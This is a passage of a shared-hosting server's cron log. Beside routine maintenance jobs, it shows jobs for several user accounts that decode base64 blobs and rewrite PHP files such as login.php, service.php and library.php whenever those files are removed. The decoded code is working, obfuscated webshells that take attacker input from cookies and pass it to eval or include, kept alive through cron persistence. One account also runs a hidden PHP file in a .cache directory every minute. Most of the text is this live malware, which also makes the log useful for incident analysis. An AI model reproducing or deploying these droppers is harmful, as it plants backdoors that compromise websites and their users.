Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:55:01 medusa CROND[4703]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:55:01 medusa CROND[4726]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:55:01 medusa CROND[4730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:55:01 medusa CROND[4718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:55:01 medusa CROND[4738]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:55:01 medusa CROND[4740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:55:02 medusa CROND[4736]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:56:01 medusa CROND[21522]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:56:02 medusa CROND[21619]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:56:02 medusa CROND[21753]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:56:02 medusa CROND[21755]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:56:02 medusa CROND[21756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:56:02 medusa CROND[21758]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:56:02 medusa CROND[21760]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:56:02 medusa CROND[21761]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:56:02 medusa CROND[21762]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:56:02 medusa CROND[21763]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:56:02 medusa CROND[21759]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:56:02 medusa CROND[21757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:56:02 medusa CROND[21768]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:56:02 medusa CROND[21780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:57:01 medusa CROND[6949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:57:01 medusa CROND[7079]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:57:01 medusa CROND[7109]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:57:01 medusa CROND[7110]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:57:01 medusa CROND[7111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:57:01 medusa CROND[7112]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:57:01 medusa CROND[7113]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:57:01 medusa CROND[7116]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:57:01 medusa CROND[7118]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:57:01 medusa CROND[7133]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:57:01 medusa CROND[7134]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
